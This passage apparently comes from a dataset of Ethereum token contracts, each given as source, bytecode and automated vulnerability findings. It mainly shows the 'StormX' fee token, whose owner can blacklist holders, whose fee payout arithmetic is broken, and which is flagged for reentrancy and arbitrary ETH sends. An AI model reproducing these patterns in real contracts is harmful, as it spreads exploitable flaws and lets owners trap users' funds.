0000000000000000000000000815260040161077d90610e3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed90610dbb565b60405180910390fd5b610801838383610995565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90610dfb565b60405180910390fd5b81816108939190610f23565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109239190610ecd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109879190610e7b565b60405180910390a350505050565b505050565b6000813590506109a981611080565b92915050565b6000813590506109be81611097565b92915050565b6000602082840312156109d657600080fd5b60006109e48482850161099a565b91505092915050565b60008060408385031215610a0057600080fd5b6000610a0e8582860161099a565b9250506020610a1f8582860161099a565b9150509250929050565b600080600060608486031215610a3e57600080fd5b6000610a4c8682870161099a565b9350506020610a5d8682870161099a565b9250506040610a6e868287016109af565b9150509250925092565b60008060408385031215610a8b57600080fd5b6000610a998582860161099a565b9250506020610aaa858286016109af565b9150509250929050565b610abd81610f69565b82525050565b6000610ace82610eb1565b610ad88185610ebc565b9350610ae8818560208601610fac565b610af18161106f565b840191505092915050565b6000610b09602383610ebc565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b6f602283610ebc565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610bd5602683610ebc565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610c3b602883610ebc565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ca1602583610ebc565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d07602483610ebc565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610d6981610f95565b82525050565b610d7881610f9f565b82525050565b6000602082019050610d936000830184610ab4565b92915050565b60006020820190508181036000830152610db38184610ac3565b905092915050565b60006020820190508181036000830152610dd481610afc565b9050919050565b60006020820190508181036000830152610df481610b62565b9050919050565b60006020820190508181036000830152610e1481610bc8565b9050919050565b60006020820190508181036000830152610e3481610c2e565b9050919050565b60006020820190508181036000830152610e5481610c94565b9050919050565b60006020820190508181036000830152610e7481610cfa565b9050919050565b6000602082019050610e906000830184610d60565b92915050565b6000602082019050610eab6000830184610d6f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610ed882610f95565b9150610ee383610f95565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610f1857610f17611011565b5b828201905092915050565b6000610f2e82610f95565b9150610f3983610f95565b925082821015610f4c57610f4b611011565b5b828203905092915050565b6000610f6282610f75565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610fca578082015181840152602081019050610faf565b83811115610fd9576000848401525b50505050565b60006002820490506001821680610ff757607f821691505b6020821081141561100b5761100a611040565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61108981610f57565b811461109457600080fd5b50565b6110a081610f95565b81146110ab57600080fd5b5056fea26469706673582212209fcfc7ad93c1c6a352da7c939bfbdf74f4af410bb1c141d721b4f32406eb1e5264736f6c63430008000033
{"success": true, "error": null, "results": {}}
7,616
0xc2bb2d28403d2dd8033a569f92843d66b02bcd8b
/* ~####~~######~~####~~#####~~##~~~#~##~~## ##~~~~~~~##~~~##~~##~##~~##~###~##~~#### ~####~~~~##~~~##~~##~#####~~##~#~#~~~## ~~~~##~~~##~~~##~~##~##~~##~##~~~#~~#### ~####~~~~##~~~~####~~##~~##~##~~~#~##~~## ### ### ###### ####### ######### ######### ## ######## ######### ## ###### #### #### ###### ######## ##### ##### ######## ####### ###### ####### ######## ###### ######## ######## ###### ####### ######### ########## ####### ##################################### ################################### ################################# ############################### ############################# ### ## ################################ ################################## ################################### */ pragma solidity ^0.8.4; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract StormX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "StormX.io Token"; string private constant _symbol = "StormX"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 60000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(6).mul(10)); _marketingFunds.transfer(amount.div(4).mul(10)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102dd578063a9059cbb1461030c578063c3c8cd801461032c578063d543dbeb14610341578063dd62ed3e1461036157600080fd5b80636fc3eaec1461026b57806370a0823114610280578063715018a6146102a05780638da5cb5b146102b557600080fd5b806323b872dd116100dc57806323b872dd146101da578063293230b8146101fa578063313ce5671461020f5780635932ead11461022b5780636b9990531461024b57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118c0565b6103a7565b005b34801561014657600080fd5b5060408051808201909152600f81526e29ba37b936ac1734b7902a37b5b2b760891b60208201525b60405161017b9190611a04565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611895565b610454565b604051901515815260200161017b565b3480156101c057600080fd5b50680340aad21b3b7000005b60405190815260200161017b565b3480156101e657600080fd5b506101a46101f5366004611855565b61046b565b34801561020657600080fd5b506101386104d4565b34801561021b57600080fd5b506040516009815260200161017b565b34801561023757600080fd5b50610138610246366004611987565b610896565b34801561025757600080fd5b506101386102663660046117e5565b6108de565b34801561027757600080fd5b50610138610929565b34801561028c57600080fd5b506101cc61029b3660046117e5565b610956565b3480156102ac57600080fd5b50610138610978565b3480156102c157600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102e957600080fd5b506040805180820190915260068152650a6e8dee4dab60d31b602082015261016e565b34801561031857600080fd5b506101a4610327366004611895565b6109ec565b34801561033857600080fd5b506101386109f9565b34801561034d57600080fd5b5061013861035c3660046119bf565b610a2f565b34801561036d57600080fd5b506101cc61037c36600461181d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103da5760405162461bcd60e51b81526004016103d190611a57565b60405180910390fd5b60005b8151811015610450576001600a600084848151811061040c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044881611b6a565b9150506103dd565b5050565b6000610461338484610b02565b5060015b92915050565b6000610478848484610c26565b6104ca84336104c585604051806060016040528060288152602001611bd5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611038565b610b02565b5060019392505050565b6000546001600160a01b031633146104fe5760405162461bcd60e51b81526004016103d190611a57565b600f54600160a01b900460ff16156105585760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103d1565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105953082680340aad21b3b700000610b02565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ce57600080fd5b505afa1580156105e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106069190611801565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064e57600080fd5b505afa158015610662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106869190611801565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106ce57600080fd5b505af11580156106e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107069190611801565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073681610956565b60008061074b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e791906119d7565b5050600f8054660c6f3b40b6c00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085e57600080fd5b505af1158015610872573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045091906119a3565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016103d190611a57565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109085760405162461bcd60e51b81526004016103d190611a57565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094957600080fd5b4761095381611072565b50565b6001600160a01b03811660009081526002602052604081205461046590611107565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016103d190611a57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610461338484610c26565b600c546001600160a01b0316336001600160a01b031614610a1957600080fd5b6000610a2430610956565b90506109538161118b565b6000546001600160a01b03163314610a595760405162461bcd60e51b81526004016103d190611a57565b60008111610aa95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103d1565b610ac76064610ac1680340aad21b3b70000084611330565b906113af565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b038216610cec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b60008111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d1565b6000546001600160a01b03848116911614801590610d7a57506000546001600160a01b03838116911614155b15610fdb57600f54600160b81b900460ff1615610e61576001600160a01b0383163014801590610db357506001600160a01b0382163014155b8015610dcd5750600e546001600160a01b03848116911614155b8015610de75750600e546001600160a01b03838116911614155b15610e6157600e546001600160a01b0316336001600160a01b03161480610e215750600f546001600160a01b0316336001600160a01b0316145b610e615760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103d1565b601054811115610e7057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb257506001600160a01b0382166000908152600a602052604090205460ff16155b610ebb57600080fd5b600f546001600160a01b038481169116148015610ee65750600e546001600160a01b03838116911614155b8015610f0b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f205750600f54600160b81b900460ff165b15610f6e576001600160a01b0382166000908152600b60205260409020544211610f4957600080fd5b610f5442600a611afc565b6001600160a01b0383166000908152600b60205260409020555b6000610f7930610956565b600f54909150600160a81b900460ff16158015610fa45750600f546001600160a01b03858116911614155b8015610fb95750600f54600160b01b900460ff165b15610fd957610fc78161118b565b478015610fd757610fd747611072565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101d57506001600160a01b03831660009081526005602052604090205460ff165b15611026575060005b611032848484846113f1565b50505050565b6000818484111561105c5760405162461bcd60e51b81526004016103d19190611a04565b5060006110698486611b53565b95945050505050565b600c546001600160a01b03166108fc611097600a6110918560066113af565b90611330565b6040518115909202916000818181858888f193505050501580156110bf573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110df600a6110918560046113af565b6040518115909202916000818181858888f19350505050158015610450573d6000803e3d6000fd5b600060065482111561116e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d1565b600061117861141d565b905061118483826113af565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126d9190611801565b8160018151811061128e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b49130911684610b02565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ed908590600090869030904290600401611a8c565b600060405180830381600087803b15801561130757600080fd5b505af115801561131b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133f57506000610465565b600061134b8385611b34565b9050826113588583611b14565b146111845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d1565b600061118483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611440565b806113fe576113fe61146e565b611409848484611491565b80611032576110326005600855600a600955565b600080600061142a611588565b909250905061143982826113af565b9250505090565b600081836114615760405162461bcd60e51b81526004016103d19190611a04565b5060006110698486611b14565b60085415801561147e5750600954155b1561148557565b60006008819055600955565b6000806000806000806114a3876115ca565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d59087611627565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115049086611669565b6001600160a01b038916600090815260026020526040902055611526816116c8565b6115308483611712565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157591815260200190565b60405180910390a3505050505050505050565b6006546000908190680340aad21b3b7000006115a482826113af565b8210156115c157505060065492680340aad21b3b70000092509050565b90939092509050565b60008060008060008060008060006115e78a600854600954611736565b92509250925060006115f761141d565b9050600080600061160a8e878787611785565b919e509c509a509598509396509194505050505091939550919395565b600061118483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611038565b6000806116768385611afc565b9050838110156111845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d1565b60006116d261141d565b905060006116e08383611330565b306000908152600260205260409020549091506116fd9082611669565b30600090815260026020526040902055505050565b60065461171f9083611627565b60065560075461172f9082611669565b6007555050565b600080808061174a6064610ac18989611330565b9050600061175d6064610ac18a89611330565b905060006117758261176f8b86611627565b90611627565b9992985090965090945050505050565b60008080806117948886611330565b905060006117a28887611330565b905060006117b08888611330565b905060006117c28261176f8686611627565b939b939a50919850919650505050505050565b80356117e081611bb1565b919050565b6000602082840312156117f6578081fd5b813561118481611bb1565b600060208284031215611812578081fd5b815161118481611bb1565b6000806040838503121561182f578081fd5b823561183a81611bb1565b9150602083013561184a81611bb1565b809150509250929050565b600080600060608486031215611869578081fd5b833561187481611bb1565b9250602084013561188481611bb1565b929592945050506040919091013590565b600080604083850312156118a7578182fd5b82356118b281611bb1565b946020939093013593505050565b600060208083850312156118d2578182fd5b823567ffffffffffffffff808211156118e9578384fd5b818501915085601f8301126118fc578384fd5b81358181111561190e5761190e611b9b565b8060051b604051601f19603f8301168101818110858211171561193357611933611b9b565b604052828152858101935084860182860187018a1015611951578788fd5b8795505b8386101561197a57611966816117d5565b855260019590950194938601938601611955565b5098975050505050505050565b600060208284031215611998578081fd5b813561118481611bc6565b6000602082840312156119b4578081fd5b815161118481611bc6565b6000602082840312156119d0578081fd5b5035919050565b6000806000606084860312156119eb578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a3057858101830151858201604001528201611a14565b81811115611a415783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611adb5784516001600160a01b031683529383019391830191600101611ab6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0f57611b0f611b85565b500190565b600082611b2f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4e57611b4e611b85565b500290565b600082821015611b6557611b65611b85565b500390565b6000600019821415611b7e57611b7e611b85565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095357600080fd5b801515811461095357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de93754b76e4011e475c79c8e9d6c42ff1b20942ed358f971b54d8e61e9cd9b964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,617
0x468bc457a1faaff7c8cf5c030886861a5580345d
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** ___________.__ __ .__ ___________ .__ \_ _____/| | ____ | | __|__| \__ ___/ ____ ______| | _____ | __) | | / _ \ | |/ /| | | | _/ __ \ / ___/| | \__ \ | \ | |__( <_> )| < | | | | \ ___/ \___ \ | |__ / __ \_ \___ / |____/ \____/ |__|_ \|__| |____| \___ >/____ >|____/(____ / \/ \/ \/ \/ \/ Website: http://FLOKITESLAERC.COM Tg: https://t.me/FlokiTeslaErc */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { 